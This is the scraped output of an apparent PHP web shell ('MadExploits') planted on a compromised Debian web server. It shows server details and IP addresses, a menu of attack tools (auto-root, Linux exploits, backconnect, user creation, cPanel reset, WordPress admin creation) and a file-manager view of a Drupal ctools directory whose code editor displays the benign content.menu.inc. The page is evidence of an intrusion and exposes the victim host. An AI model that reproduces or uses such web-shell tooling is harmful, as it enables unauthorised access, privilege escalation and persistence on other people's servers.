Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.51.35
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
action-links.theme.inc
697
B
-rw-r--r--
ajax.inc
4.67
KB
-rw-r--r--
cache.inc
5.79
KB
-rw-r--r--
cache.plugin-type.inc
236
B
-rw-r--r--
cleanstring.inc
7.66
KB
-rw-r--r--
collapsible.theme.inc
2.46
KB
-rw-r--r--
content.inc
25.63
KB
-rw-r--r--
content.menu.inc
6.67
KB
-rw-r--r--
content.plugin-type.inc
381
B
-rw-r--r--
content.theme.inc
458
B
-rw-r--r--
context-access-admin.inc
15.17
KB
-rw-r--r--
context-admin.inc
27.37
KB
-rw-r--r--
context-task-handler.inc
17.42
KB
-rw-r--r--
context.inc
47.33
KB
-rw-r--r--
context.menu.inc
1.23
KB
-rw-r--r--
context.plugin-type.inc
545
B
-rw-r--r--
context.theme.inc
12.42
KB
-rw-r--r--
css-cache.inc
971
B
-rw-r--r--
css.inc
17.43
KB
-rw-r--r--
dependent.inc
6.16
KB
-rw-r--r--
dropbutton.theme.inc
5.05
KB
-rw-r--r--
dropdown.theme.inc
3.1
KB
-rw-r--r--
entity-access.inc
4.61
KB
-rw-r--r--
export-ui.inc
16.62
KB
-rw-r--r--
export-ui.menu.inc
710
B
-rw-r--r--
export-ui.plugin-type.inc
536
B
-rw-r--r--
export.inc
39.03
KB
-rw-r--r--
fields.inc
12.42
KB
-rw-r--r--
jump-menu.inc
4.6
KB
-rw-r--r--
language.inc
1.18
KB
-rw-r--r--
math-expr.inc
17.69
KB
-rw-r--r--
menu.inc
3.28
KB
-rw-r--r--
modal.inc
7.77
KB
-rw-r--r--
object-cache.cron.inc
345
B
-rw-r--r--
object-cache.inc
6.39
KB
-rw-r--r--
page-wizard.inc
5.12
KB
-rw-r--r--
page-wizard.menu.inc
756
B
-rw-r--r--
plugins-admin.inc
7.38
KB
-rw-r--r--
plugins.inc
31.89
KB
-rw-r--r--
registry.inc
3
KB
-rw-r--r--
stylizer.inc
48.24
KB
-rw-r--r--
stylizer.theme.inc
647
B
-rw-r--r--
utility.inc
1.05
KB
-rw-r--r--
uuid.inc
1.97
KB
-rw-r--r--
views.inc
879
B
-rw-r--r--
wizard.inc
17.74
KB
-rw-r--r--
wizard.theme.inc
539
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : content.menu.inc
<?php /** * @file * Contains menu item registration for the content tool. * * The menu items registered are AJAX callbacks for the things like * autocomplete and other tools needed by the content types. */ function ctools_content_menu(&$items) { $base = array( 'access arguments' => array('access content'), 'type' => MENU_CALLBACK, 'file' => 'includes/content.menu.inc', ); $items['ctools/autocomplete/%'] = array( 'page callback' => 'ctools_content_autocomplete_entity', 'page arguments' => array(2), ) + $base; } /** * Helper function for autocompletion of entity titles. */ function ctools_content_autocomplete_entity($entity_type, $string = '') { if ($string != '') { $entity_info = entity_get_info($entity_type); if (!module_exists('entity')) { module_load_include('inc', 'ctools', 'includes/entity-access'); _ctools_entity_access($entity_info, $entity_type); } // We must query all ids, because if every one of the 10 don't have access // the user may never be able to autocomplete a node title. $preg_matches = array(); $matches = array(); $match = preg_match('/\[id: (\d+)\]/', $string, $preg_matches); if (!$match) { $match = preg_match('/^id: (\d+)/', $string, $preg_matches); } // If an ID match was found, use that ID rather than the whole string. if ($match) { $entity_id = $preg_matches[1]; $results = _ctools_getReferencableEntities($entity_type, $entity_info, $entity_id, '=', 1); } else { // We cannot find results if the entity doesn't have a label to search. if (!isset($entity_info['entity keys']['label'])) { drupal_json_output(array("[id: NULL]" => '<span class="autocomplete_title">' . t('Entity Type !entity_type does not support autocomplete search.', array('!entity_type' => $entity_type)) . '</span>')); return; } $results = _ctools_getReferencableEntities($entity_type, $entity_info, $string, 'LIKE', 10); } foreach ($results as $entity_id => $result) { $matches[$result['label'] . " [id: $entity_id]"] = '<span class="autocomplete_title">' . check_plain($result['label']) . '</span>'; $matches[$result['label'] . " [id: $entity_id]"] .= isset($result['bundle']) ? ' <span class="autocomplete_bundle">(' . check_plain($result['bundle']) . ')</span>' : ''; } drupal_json_output($matches); } } /* * Use well known/tested entity reference code to build our search query * From EntityReference_SelectionHandler_Generic class */ function _ctools_buildQuery($entity_type, $entity_info, $match = NULL, $match_operator = 'CONTAINS') { $base_table = $entity_info['base table']; $label_key = $entity_info['entity keys']['label']; $query = db_select($base_table) ->fields($base_table, array($entity_info['entity keys']['id'])); if (isset($match)) { if (isset($label_key)) { $query->condition($base_table . '.' . $label_key, '%' . $match . '%', $match_operator); } // This should never happen, but double check just in case. else { return array(); } } // Add a generic entity access tag to the query. $query->addTag('ctools'); // We have to perform two checks. First check is a query alter (with tags) // in an attempt to only return results that have access. However, this is // not full-proof since entities many not implement hook_access query tag. // This is why we have a second check after entity load, before we display // the label of an entity. if ($entity_type == 'comment') { // Adding the 'comment_access' tag is sadly insufficient for comments: core // requires us to also know about the concept of 'published' and // 'unpublished'. if (!user_access('administer comments')) { $query->condition('comment.status', COMMENT_PUBLISHED); } // Join to a node if the user does not have node access bypass permissions // to obey node published permissions if (!user_access('bypass node access')) { $node_alias = $query->innerJoin('node', 'n', '%alias.nid = comment.nid'); $query->condition($node_alias . '.status', NODE_PUBLISHED); } $query->addTag('node_access'); } else { $query->addTag($entity_type . '_access'); } // Add the sort option. if (isset($label_key)) { $query->orderBy($base_table . '.' . $label_key, 'ASC'); } return $query; } /** * Private function to get referencable entities. Based on code from the * Entity Reference module. */ function _ctools_getReferencableEntities($entity_type, $entity_info, $match = NULL, $match_operator = 'LIKE', $limit = 0) { global $user; $account = $user; $options = array(); // We're an entity ID, return the id if (is_numeric($match) && $match_operator == '=') { if ($entity = array_shift(entity_load($entity_type, array($match)))) { if (isset($entity_info['access callback']) && function_exists($entity_info['access callback'])) { if ($entity_info['access callback']('view', $entity, $account, $entity_type)) { $label = entity_label($entity_type, $entity); return array( $match => array( 'label' => !empty($label) ? $label : $entity->{$entity_info['entity keys']['id']}, 'bundle' => !empty($entity_info['entity keys']['bundle']) ? check_plain($entity->{$entity_info['entity keys']['bundle']}) : NULL, ), ); } } } // If you don't have access, or an access callback or a valid entity, just // Return back the Entity ID. return array( $match => array( 'label' => $match, 'bundle' => NULL, ), ); } // We have matches, build a query to fetch the result. if ($query = _ctools_buildQuery($entity_type, $entity_info, $match, $match_operator)) { if ($limit > 0) { $query->range(0, $limit); } $results = $query->execute(); if (!empty($results)) { foreach ($results as $record) { $entities = entity_load($entity_type, array($record->{$entity_info['entity keys']['id']})); $entity = array_shift($entities); if (isset($entity_info['access callback']) && function_exists($entity_info['access callback'])) { if ($entity_info['access callback']('view', $entity, $account, $entity_type)) { $label = entity_label($entity_type, $entity); $options[$record->{$entity_info['entity keys']['id']}] = array( 'label' => !empty($label) ? $label : $entity->{$entity_info['entity keys']['id']}, 'bundle' => !empty($entity_info['entity keys']['bundle']) ? check_plain($entity->{$entity_info['entity keys']['bundle']}) : NULL, ); } } } } return $options; } return array(); }
Close